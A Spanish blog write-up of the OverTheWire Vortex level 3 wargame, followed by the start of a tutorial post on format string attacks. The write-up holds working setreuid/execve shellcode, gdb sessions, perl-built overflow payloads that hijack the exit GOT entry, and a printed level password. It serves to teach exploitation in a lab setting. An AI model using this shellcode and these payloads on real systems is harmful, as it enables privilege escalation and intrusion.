Mostrando entradas con la etiqueta exploiting. Mostrar todas las entradas
Mostrando entradas con la etiqueta exploiting. Mostrar todas las entradas

jueves, 7 de marzo de 2013

Solución al reto overthewire vortex level 3

Tengo que reconocer que este nivel me ha costado bastante más y que he tenido que investigar cómo funcionan ciertas cosas :D. Como de costumbre, esto va a ser un post largo con explicaciones muy detalladas de todo (más o menos, las cosas inútiles no) lo que tuve que hacer.

Empezamos como siempre, con el enunciado:

A Stack Overflow with a Difference
This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE:
ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this e.g. here
NOTE: This level is solvable, but it is tricky. If all else fails, use an intelligent bruteforce and then circle back to find out why it worked.
Reading Material
Smashing the Stack for Fun and Profit
Bypassing StackGuard and StackShield
Code listing (vortex3.c)
/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson <je@0xbadc0ded.org>
 */


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        *lpp = tmp;

        exit(0);
}
Vamos a empezar programándonos la shellcode. Quizás se pueda buscar alguna por internet para esto pero prefiero hacerlas yo, además no es muy complicado. Lo cierto es que no empecé el nivel así (programando), pero dado que esta tarea es totalmente paralela al análisis, lo dejamos hecho ya y luego explicamos todo lo otro que es bastante más gordo y prefiero que esté seguido.

Bueno, como explica el enunciado la shellcode deberá llamar a setreuid() para ejecutarse con permisos de level4 ya que bash dropea los permisos que le otorga el SUID. Esto no es del todo cierto, por defecto efectivamente bash dropea esos permisos, pero se puede evitar ese comportamiento pasándole el argumento "-p" (o recompilando bash y buscando una variable global que no recuerdo el nombre ahora mismo, pero que egrepeando por "privilege" se encuentra fácil, se cambia de 0 a 1 y ese bash no dropeará privilegios xD). El argumento "-p" hace más cosas, man bash ;).

En cualquier caso vamos a hacer caso al enunciado y vamos a hacer llamada a setresuid() en nuestra shellcode, ahí va:

use32
  
    jmp trick

shellcode:
    pop esi
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; setreuid()
    ;
    ; 0x138c = 5004 es el UID del usuario vortex4
    mov cx, 0x138c
    mov bx, 0x138c
    mov al, 0x46
    int 0x80

    ; execve("/bin/bash")
    xor eax, eax
    mov [esi + 9], al
    mov [esi + 10], esi
    mov [esi + 14], eax
    mov ebx, esi
    mov ecx, esi
    add cl, 10
    xor esi, esi
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/bashABBBBCCCC"


No tiene mucho misterio, creo que uso todos los truquillos que expliqué en la entrada de programación de shellcodes. Truco del jmp-call-pop, no produce bytes nulos, no llama a bibliotecas, en la string final los bytes nulos no están hardcodeados sino que el código se encarga de ponerlos (en 'A'). Lo único medianamente novedoso es la llamada a setreuid() pero es muy sencilla. Realmente no se llama a setreuid() para ser concretos, sino a sys_setreuid, la llamada al sistema que en el fondo implementa todo esto. El número es el 70 = 0x46. Se compila con nasm.

Bueno, con eso ya tenemos preparada la shellcode para cuando vayamos a explotar el programa. Ahora pasemos a lo gordo, el análisis.

Mirando el fuente vemos que tiene un buffer estático de 128 bytes y un strcpy() sobre el mismo, así que ahí tenemos el bof. Analizando el código ensamblador podemos confirmar que justo detrás de buf se encuentran las variables tmp y lpp, en ese orden. Cuando sobrescribamos primero pisaremos tmp y después lpp. Luego podemos ver que se comprueba que lpp tenga en sus dos bytes más significativos el valor 0x0804 (típico de las direcciones de secciones .text, .rodata, .data, etc...) y si no es el caso termina la ejecución. Justo después viene la parte interesante, un tejemaneje con punteros que tendremos que entender qué hace.

Básicamente tmp está actuando como variable auxiliar del contenido de *lpp, su valor se guarda en tmp y luego se recupera. El código más interesante es la línea del medio:

**lpp = (unsigned int)&buf

Se pone la dirección de buf (donde, si aún no lo has pensado, pondremos nuestra shellcode) en la doble indirección de lpp, una imagen vale más que mil palabras.

Un poco lío con las flechas pero creo que ayuda a clarificar.

La idea entonces es aprovechar el bof para sobreescribir lpp (tmp da igual... realmente no, ya veremos más adelante por qué) de forma que apunte a un sitio que a su vez apunte a otro sitio que sepamos que en algún momento ese valor será usado para saltar a código allí apuntado. Lo siento por el lío :(.

Yendo al grano, esto está pensado en un primer momento para aprovecharse de la sección .dtors. Explico a mi manera qué es esto. Dtors es un acrónimo de DestrucTORS, en los ELF suele haber una sección reservada para dar soporte a lenguajes con constructores y destructores globales (también hay una sección .ctors). Básicamente es una lista con punteros a funciones que serán ejecutadas justo antes de terminar el programa, bien sea porque main() hace return o porque en algún punto de la ejecución se llama a exit() o funciones de esa familia. Veamosla en el binario vortex3.

$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:

Section Headers:
  ... SNIP ...
  [13] .text             PROGBITS        08048320 000320 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804850c 00050c 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000008 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048530 000530 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049534 000534 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        0804953c 00053c 000008 00  WA  0   0  4

  [19] .jcr              PROGBITS        08049544 000544 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049548 000548 0000c8 08  WA  6   0  4
  [21] .got              PROGBITS        08049610 000610 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049614 000614 00001c 04  WA  0   0  4
  ... SNIP ...


El formato de esta lista es el siguiente, comienza con el valor 0xffffffff y acaba con nulo (0x00000000), veámosla.

$ objdump -j .dtors -s vortex3

vortex3:     file format elf32-i386

Contents of section .dtors:
 804953c ffffffff 00000000                    ........


En este caso está vacía. Observemos un detalle interesante de esta sección, ¡tiene permisos de escritura (WA)!. Sí sí, suena fuerte y tal pero es así. En el enunciado se nos avisa de que puede que ya no se pueda escribir en esta zona, a pesar de que se ha compilado el binario con bla bla bla. Lo cierto es que sí se puede, no sé por qué han puesto eso, sin embargo sí que hay una protección pero que no viene dada por los permisos. En un momento veremos qué pasa. Por el momento hagamos como que no sabemos nada, así explico las vicisitudes por las que pasé.

Entonces lo que vamos a intentar es escribir en la sección .dtors la dirección de nuestro buffer (que contendrá la shellcode), de forma que cuando el programa termine, la ejecute. Para ello necesitamos escribir en la dirección 0x08049540 (la primera posición en la lista de dtors) la dirección de buf. Y para lograr esto nos hace falta que lpp contenga una dirección cuyo contenido sea precisamente ese valor (doble indirección), además esa dirección no puede ser cualquiera debe estar en 0x0804XXXX. Figura "aclaratoria":


Sobrescribir lpp es sencillo, simplemente tenemos que aprovechar el bof. Ahora bien, ¿cómo podemos hacer que apunte a algo que contenga el valor 0x08049540?, ¿dónde podríamos poner ese valor y luego hacer que lpp apuntara a allí?. Es más sencillo de lo que parece, buscamos el valor por la memoria del proceso y vemos si está por algún lado (no nos importa por qué llegó allí, tan sólo que esté :D).

$ readelf --sections vortex3
There are 29 section headers, starting at offset 0x784:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804816c 00016c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          0804818c 00018c 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080481ec 0001ec 000051 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804823e 00023e 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804824c 00024c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804826c 00026c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048274 000274 000020 08   A  5  12  4
  [11] .init             PROGBITS        08048294 000294 000030 00  AX  0   0  4
  [12] .plt              PROGBITS        080482c4 0002c4 000050 04  AX  0   0  4
  [13] .text             PROGBITS        08048320 000320 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804850c 00050c 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000008 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048530 000530 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049534 000534 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        0804953c 00053c 000008 00  WA  0   0  4
  [19] .jcr              PROGBITS        08049544 000544 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049548 000548 0000c8 08  WA  6   0  4
  [21] .got              PROGBITS        08049610 000610 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049614 000614 00001c 04  WA  0   0  4
  [23] .data             PROGBITS        08049630 000630 000010 00  WA  0   0  4
  [24] .bss              NOBITS          08049640 000640 000008 00  WA  0   0  4
  [25] .comment          PROGBITS        00000000 000640 000054 01  MS  0   0  1
  [26] .shstrtab         STRTAB          00000000 000694 0000ee 00      0   0  1
  [27] .symtab           SYMTAB          00000000 000c0c 000430 10     28  44  4
  [28] .strtab           STRTAB          00000000 00103c 000216 00      0   0  1

Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3

Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x08049540
0x8048366 <__do_global_dtors_aux+22>
0x8048fb0
0x8049366

3 patterns found.


He marcado en negrita lo más interesante, las direcciones de dos secciones, la primera y la última que están en posiciones 0x0804XXXX y el comando find de gdb con el que busco entre esas direcciones de memoria alguna posición que contenga el valor que buscamos. Aparece en 3 sitios distintos, así que cualquiera de esas direcciones es a donde debería a puntar lpp. Estoy obviando un detalle, he ejecutado el programa y lo he parado al principio de main() para buscar el valor por su memoria. En este caso nos va a funcionar, pero si por lo que fuera este proceso está muy loco y empieza a cambiar su memoria de manera que lo que ahora contienen esas direcciones luego no fuera lo mismo habría que hacer un análisis más profundo del proceso para buscar un sitio donde nuestro valor esté en el momento en que vayamos a usarlo. Aquí estamos suponiendo que la dirección que vaya a usar para lpp (de las 3 posibles) va a tener siempre el valor que necesitamos (0x08049540)... y suponer no siempre es bueno... más bien nunca es bueno.

Bien, si en .dtors no se pudiera escribir, cuando lo vayamos a intentar lo suyo sería que se lanzara SIGSEGV. Vamos a explotar el bof y escribir a ver que pasa...

$ du -b /tmp/oleshellcode
70    /tmp/oleshellcode

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>:    push   %ebp
   0x080483d5 <+1>:    mov    %esp,%ebp
   0x080483d7 <+3>:    and    $0xfffffff0,%esp
   0x080483da <+6>:    sub    $0xa0,%esp
   0x080483e0 <+12>:    movl   $0x804963c,0x9c(%esp)
   0x080483eb <+23>:    cmpl   $0x2,0x8(%ebp)
   0x080483ef <+27>:    je     0x80483fd <main+41>
   0x080483f1 <+29>:    movl   $0x1,(%esp)
   0x080483f8 <+36>:    call   0x8048304 <exit@plt>
   0x080483fd <+41>:    mov    0xc(%ebp),%eax
   0x08048400 <+44>:    add    $0x4,%eax
   0x08048403 <+47>:    mov    (%eax),%eax
   0x08048405 <+49>:    mov    %eax,0x4(%esp)
   0x08048409 <+53>:    lea    0x18(%esp),%eax
   0x0804840d <+57>:    mov    %eax,(%esp)
   0x08048410 <+60>:    call   0x80482f4 <strcpy@plt>
   0x08048415 <+65>:    mov    0x9c(%esp),%eax
   0x0804841c <+72>:    mov    $0x0,%ax
   0x08048420 <+76>:    cmp    $0x8040000,%eax
   0x08048425 <+81>:    je     0x8048433 <main+95>
   0x08048427 <+83>:    movl   $0x2,(%esp)
   0x0804842e <+90>:    call   0x8048304 <exit@plt>
   0x08048433 <+95>:    mov    0x9c(%esp),%eax
   0x0804843a <+102>:    mov    (%eax),%eax
   0x0804843c <+104>:    mov    %eax,0x98(%esp)
   0x08048443 <+111>:    mov    0x9c(%esp),%eax
   0x0804844a <+118>:    mov    (%eax),%eax
   0x0804844c <+120>:    lea    0x18(%esp),%edx
   0x08048450 <+124>:    mov    %edx,(%eax)
   0x08048452 <+126>:    mov    0x9c(%esp),%eax
   0x08048459 <+133>:    mov    0x98(%esp),%edx
   0x08048460 <+140>:    mov    %edx,(%eax)
   0x08048462 <+142>:    movl   $0x0,(%esp)
   0x08048469 <+149>:    call   0x8048304 <exit@plt>
End of assembler dump.
(gdb) br *main+60
Breakpoint 1 at 0x8048410
(gdb) br *main+149
Breakpoint 2 at 0x8048469

(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "CACA" . "\x66\x83\x04\x08"'`"

Breakpoint 1, 0x08048410 in main ()
(gdb) x/50xw $esp
0xffffd620:    0xffffd638    0xffffd8ab    0xffffd6f0    0xf7fe99a9
0xffffd630:    0xffffd6e0    0x080481ac    0xffffd6d4    0xf7ffda74
0xffffd640:    0x00000000    0xf7fd72e8    0x00000001    0x00000000
0xffffd650:    0x00000001    0xf7ffd918    0x00000000    0x00000000
0xffffd660:    0x00080000    0x000a0000    0x00010000    0xf7fd2ff4
0xffffd670:    0xf7f80b19    0xf7ea2ab5    0xffffd688    0xf7e89c65
0xffffd680:    0x00000000    0x08049614    0xffffd698    0x080482c0
0xffffd690:    0xf7fd2ff4    0x08049614    0xffffd6c8    0x08048489
0xffffd6a0:    0xf7ea2c3d    0xf7fd3324    0xf7fd2ff4    0xffffd6c8
0xffffd6b0:    0xf7ea2cb5    0xf7feed80    0x0804847b    0x0804963c
0xffffd6c0:    0x08048470    0x00000000    0xffffd748    0xf7e89e37
0xffffd6d0:    0x00000002    0xffffd774    0xffffd780    0xf7fdf420
0xffffd6e0:    0xffffffff    0xf7ffcff4
(gdb) nexti
0x08048415 in main ()
(gdb) x/50xw $esp
0xffffd620:    0xffffd638    0xffffd8ab    0xffffd6f0    0xf7fe99a9
0xffffd630:    0xffffd6e0    0x080481ac    0x90909090    0x90909090
0xffffd640:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd650:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd660:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd670:    0x2deb9090    0x31c0315e    0x31c931db    0x8cb966d2
0xffffd680:    0x8cbb6613    0xcd46b013    0x88c03180    0x76890946
0xffffd690:    0x0e46890a    0xf189f389    0x310ac180    0xcd0bb0f6
0xffffd6a0:    0xffcee880    0x622fffff    0x622f6e69    0x41687361
0xffffd6b0:    0x42424242    0x43434343    0x41434143    0x08048366
0xffffd6c0:    0x08048400    0x00000000    0xffffd748    0xf7e89e37
0xffffd6d0:    0x00000002    0xffffd774    0xffffd780    0xf7fdf420
0xffffd6e0:    0xffffffff    0xf7ffcff4

(gdb) x/xw 0x08048366
0x8048366 <__do_global_dtors_aux+22>:    0x08049540
(gdb) x/xw 0x08049540
0x8049540 <__DTOR_END__>:    0x00000000


Todo lo rojo es el buffer en sí mismo, en verte tmp y en azul lpp. Hemos inspeccionado la pila justo antes y después del strcpy(), vemos que efectivamente hemos sobrescrito lpp con el valor que queríamos, una dirección de memoria 0x0804XXXX cuyo contenido contiene otra dirección, ésta a su vez apunta a 0x08049540 (la primera función en la lista .dtors).

Ahora si todo funciona como pensamos, después de la ejecución del código que juega con *lpp, tmp, **lpp y &buf, en 0x08049540 debería pasar de contener 0x00000000 a contener la dirección del buffer (0xffffd638).

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048460 in main ()


Hemos obtenido SIGSEGV, ¿por qué?. Veámoslo.

(gdb) x/i $eip
=> 0x8048460 <main+140>:    mov    %edx,(%eax)
(gdb) info register
eax            0x8048366    134513510
ecx            0x0    0
edx            0x8049540    134518080
ebx            0xf7fd2ff4    -134402060
esp            0xffffd620    0xffffd620
ebp            0xffffd6c8    0xffffd6c8
esi            0x0    0
edi            0x0    0
eip            0x8048460    0x8048460 <main+140>
eflags         0x10246    [ PF ZF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0     0
gs             0x63    99


Aquí vemos lo que está pasando, se ha intentado escribir en 0x0848366 y no se puede, probablemente porque esa sección sea de sólo lectura. Volvamos a mirar las secciones:

(gdb) maintenance info sections
Exec file:
    `/vortex/vortex3', file type elf32-i386.
    ... SNIP ...
    0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    ... SNIP ...

Bueno, ahí tenemos el motivo, la dirección donde intentamos escribir está en la sección .text que es de sólo lectura. Así que de las 3 direcciones que obtuvimos que contenian el valor 0x08049540 no nos vale cualquiera, necesitamos uno donde podamos escribir. Nos quedan entonces 2 posibilidades más (0x08048fb0 y 0x08049366), veamos dónde están:

(gdb) maintenance info sections
Exec file:
    `/vortex/vortex3', file type elf32-i386.
    0x8048114->0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048128->0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048148->0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804816c->0x804818c at 0x0000016c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804818c->0x80481ec at 0x0000018c: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80481ec->0x804823d at 0x000001ec: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804823e->0x804824a at 0x0000023e: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804824c->0x804826c at 0x0000024c: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804826c->0x8048274 at 0x0000026c: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048274->0x8048294 at 0x00000274: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048294->0x80482c4 at 0x00000294: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x80482c4->0x8048314 at 0x000002c4: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x804850c->0x8048528 at 0x0000050c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048528->0x8048530 at 0x00000528: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048530->0x8048534 at 0x00000530: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049534->0x804953c at 0x00000534: .ctors ALLOC LOAD DATA HAS_CONTENTS
    0x804953c->0x8049544 at 0x0000053c: .dtors ALLOC LOAD DATA HAS_CONTENTS
    0x8049544->0x8049548 at 0x00000544: .jcr ALLOC LOAD DATA HAS_CONTENTS
    0x8049548->0x8049610 at 0x00000548: .dynamic ALLOC LOAD DATA HAS_CONTENTS
    0x8049610->0x8049614 at 0x00000610: .got ALLOC LOAD DATA HAS_CONTENTS
    0x8049614->0x8049630 at 0x00000614: .got.plt ALLOC LOAD DATA HAS_CONTENTS
    0x8049630->0x8049640 at 0x00000630: .data ALLOC LOAD DATA HAS_CONTENTS
    0x8049640->0x8049648 at 0x00000640: .bss ALLOC
    0x0000->0x0054 at 0x00000640: .comment READONLY HAS_CONTENTS


Podemos ver que ambas direcciones no caen en ninguna de las secciones.

Juro por dios (¡o por cualquier otro personaje de ficción! digamos... ¡superman!) que he gastado bastantes horas intentando averiguar por qué esto es así, por qué hay direcciones de memoria accesibles que sin embargo no están en ninguna sección e intentar ver los permisos exactos de esas direcciones, pero no voy a mentir no lo he logrado y no sé la respuesta... aún. Ya probaré algún día a trapetear por el manejo de memoria del kernel a ver si encuentro algo que me aclare esto. Muchas veces veo artículos, noticias y demás documentos donde el autor, por no poder explicar algo lo que hace es rodearlo y no tocar el tema y de esta forma queda más guay y parece que controla todo hasta el último detalle, pues que les den por culo en su ignorancia. Prefiero reconocer hasta dónde llegan mis conocimientos y no llevar a error al lector, que quedar como algo que no soy (un pro) y que la gente se lo crea. En fin, después del momento "un día de furia" volvamos a lo nuestro. Por ahora vamos a tener que hacer un acto de fé (bleg!).

Visto lo visto vamos a probar a ciegas otra de las direcciones que tenemos, a ver que pasa.

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br *main+149
Breakpoint 1 at 0x8048469
(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"

Breakpoint 1, 0x08048469 in main ()(gdb) x/3x 0x0804953c
0x804953c <__DTOR_LIST__>:    0xffffffff    0xffffd638    0x00000000

(gdb) x/5i 0xffffd638
   0xffffd638:    nop
   0xffffd639:    nop
   0xffffd63a:    nop
   0xffffd63b:    nop
   0xffffd63c:    nop



Podemos ver que ahora sí hemos conseguido meter la dirección de buf dentro de la lista de dtors y que además ésta mantiene el formato (comienzo por 0xffffffff y fin con 0x00000000). Con esto queda demostrado que efectivamente sí podemos escribir en esa memoria. Ahora sólo quedaría terminar la ejecución del programa y que se ejecute nuestra shellcode.

(gdb) cont
Continuing.

Program exited normally.


?!?!?!, ¿qué está pasando aquí?, ¿por qué no se ejecuta nuestra shellcode?. Tal vez por este comportamiento se advierte en el enunciado que no se puede explotar con dtors, pero como hemos visto no es porque no se pueda escribir allí. Para comprenderlo tenemos que mirar los fuentes del gcc de la versión con que se compiló el binario. No sé si se puede averiguar que versión concreta del compilador se usó así que supondremos que se usó la versión que hay instalada en el sistema.

$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


Nos bajamos los fuentes de la versión de alguno de los repositorios o con apt-get source y buscamos dentro de los mismos la parte que corresponde a la ejecución de dtors. Para agilizarlo un poco comento que la función que se encarga de eso es __do_global_dtor_aux(). Sabiendo esto y grepeando un poco nos daremos cuenta que se encuentra en crtstuff.c, veámosla.

static void __attribute__((used))
__do_global_dtors_aux (void)
{
  ... SNIP ...
#elif defined(HIDDEN_DTOR_LIST_END)
  {
    /* Safer version that makes sure only .dtors function pointers are
       called even if the static variable is maliciously changed.  */

    extern func_ptr __DTOR_END__[] __attribute__((visibility ("hidden")));
    static size_t dtor_idx;
    const size_t max_idx = __DTOR_END__ - __DTOR_LIST__ - 1;
    func_ptr f;

    while (dtor_idx < max_idx)
      {
    f = __DTOR_LIST__[++dtor_idx];
    f ();
      }
  }

   ... SNIP ...

Los propios comentarios nos explican qué está pasando, gracias por comentar el código :). Báscamente se comprueba el tamaño de la lista, esto provoca que cómo al compilar había 0 funciones dtors pues no se ejecuta ninguna y aunque metemos nuestra shellcode ahí no se llega a entrar en el while. Por otro lado aunque no lo he comprobado sospecho que, si hubiera funciones en la lista, podríamos sobrescribirlas con la dirección de nuestra shellcode y conseguiríamos la ejecución.

Resuelta la duda de por qué añadiendo la dirección de la shellcode a dtors no se ejecuta vamos a ver cómo conseguirlo. En esta ocasión vamos a usar el mismo concepto pero en otro lado. Vamos a sobrescribir un puntero a una función de forma que cuando esa función sea llamada en verdad se llame a nuestra shellcode. ¿Y dónde está ese puntero a función? Pues en la GOT (Global Offset Table). Para hacer la carga de los programas más rápida, cuando un programa es cargado en memoria el enlazador no carga todas las bibliotecas que necesita el programa ya que pueden ser muchas y esto provoca una carga lenta y un consumo de memoria alto, más teniendo en cuenta que a lo mejor el programa en esa ejecución concreta no llame a todas las funciones, cosa altamente probable ya que en la ejecución de un programa no es normal que éste recorra todo su código. Lo que se hace es hacer que las llamadas a funciones externas llamen realmente a pequeñas funciones en la GOT y de ahí a la función real. Veamos cómo son estas pequeñas funciones en la sección .plt.

$ objdump -j .plt -d vortex3

vortex3:     file format elf32-i386


Disassembly of section .plt:

080482c4 <__gmon_start__@plt-0x10>:
 80482c4:    ff 35 18 96 04 08        pushl  0x8049618
 80482ca:    ff 25 1c 96 04 08        jmp    *0x804961c
 80482d0:    00 00                    add    %al,(%eax)
    ...

080482d4 <__gmon_start__@plt>:
 80482d4:    ff 25 20 96 04 08        jmp    *0x8049620
 80482da:    68 00 00 00 00           push   $0x0
 80482df:    e9 e0 ff ff ff           jmp    80482c4 <_init+0x30>

080482e4 <__libc_start_main@plt>:
 80482e4:    ff 25 24 96 04 08        jmp    *0x8049624
 80482ea:    68 08 00 00 00           push   $0x8
 80482ef:    e9 d0 ff ff ff           jmp    80482c4 <_init+0x30>

080482f4 <strcpy@plt>:
 80482f4:    ff 25 28 96 04 08        jmp    *0x8049628
 80482fa:    68 10 00 00 00           push   $0x10
 80482ff:    e9 c0 ff ff ff           jmp    80482c4 <_init+0x30>

08048304 <exit@plt>:
 8048304:    ff 25 2c 96 04 08        jmp    *0x804962c
 804830a:    68 18 00 00 00           push   $0x18
 804830f:    e9 b0 ff ff ff           jmp    80482c4 <_init+0x30>


Vemos que las funciones en plt tienen al principio un salto incondicional hacia la dirección contenida en esos punteros. Por ejemplo, para llamar a la función strcpy() se salta a la dirección contenida en 0x08049628. ¿Qué es lo que vamos a hacer?, vamos a sobrescribir alguna de las funciones que se ejecuten después del código que pone la dirección de buf en la doble indirección (que se ejecute antes no vale porque cuando se llamara a dicha función aún no se habría echo el cambio de punteros). La función que tiene todas las papeletas es exit(). Lo que necesitamos es buscar alguna dirección de memoria en la que se pueda escribir y que apunte a 0x0804962c.

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3

Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x0804962c
0x804828c
0x8048306 <exit@plt+2>
0x804928c
0x8049306
4 patterns found.


De nuevo tengo el mismo problema de antes, algunas de esas dirección están misteriosamente fuera de los maps del proceso. Probaremos con la última, que se parece mucho a la que elegimos la última vez.

(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"

Breakpoint 1, 0x080483d7 in main ()
(gdb) cont
Continuing.
process 9914 is executing new program: /proc/9914/exe
/proc/9914/exe: Permission denied.


Ahora sí está intentado ejecutar la shellcode :). Hagamos la explotación desde fuera del gdb.

$ ./vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)

$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


Y ya tenemos lo que queríamos :). Nos ha costado un poco más de la cuenta porque la gente de gcc nos lo ha puesto un poco más difícil, pero conseguimos sobreponernos :).

Saludos.

martes, 6 de noviembre de 2012

Minicurso de exploiting (parte 11): Introducción a los format string attacks

Bueno, durante las últimas entradas hemos estado analizando y explotando vulnerabilidades de buffer overflow (bof), y de paso nos hemos creado alguna shellcode sencillita pero funcional. Estas shellcodes que hemos desarrollado (y las que seguiremos desarrollando... si lo logro), las usaremos a lo largo del curso (que tampoco queda tanto). A estas alturas deberíamos habernos dado cuenta ya de la diferencia entre el exploit en sí mismo, el mecanismo por el cuál explotamos una vulnerabilidad, y el payload del exploit, la "carga" que lleva nuestro exploit y que es lo que va a ejecutar.

Aclarado esto y visto ya lo que es un bof, pasamos ahora a otro tipo de vulnerabilidades que también son explotables y permiten lo mismo que los bof, que un proceso deje de hacer lo que se supone debería hacer y que haga lo que nosotros queremos. Esta otra vulnerabilidad es conocida como uncontrolled format strings, format strings vulnerabilities o format strings attacks. Al igual que con los bofs, exec-shield y aslr son contramedidas (a fin de cuentas son contramedidas para la inyección y ejecución de código). Adelanto ya que las pruebas que muestre tendrán ambos métodos desactivados y compilaré los binarios con permisos de ejecución de la pila.

Bien, ¿qué es una vulnerabilidad de format string?. Son aquellas vulnerabilidades que se dan debido a que el programador no hizo un buen uso de las format strings que tienen algunas de las funciones de la biblioteca estandar de C y las cuales conocemos sobradamente, printf(), scanf(), etc. Como sabemos, toda esta familia de funciones tiene un parámetro conocido como "la cadena de formato", una string con unas directivas que le dicen a la función cómo interpretar los parámetros que vienen a continuación.

int printf(const char *format, ...);

